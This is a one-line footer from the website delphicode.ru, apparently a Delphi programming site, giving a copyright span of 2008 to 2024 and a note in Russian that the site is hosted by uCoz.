delphicode.ru © 2008 - 2024 Хостинг от uCoz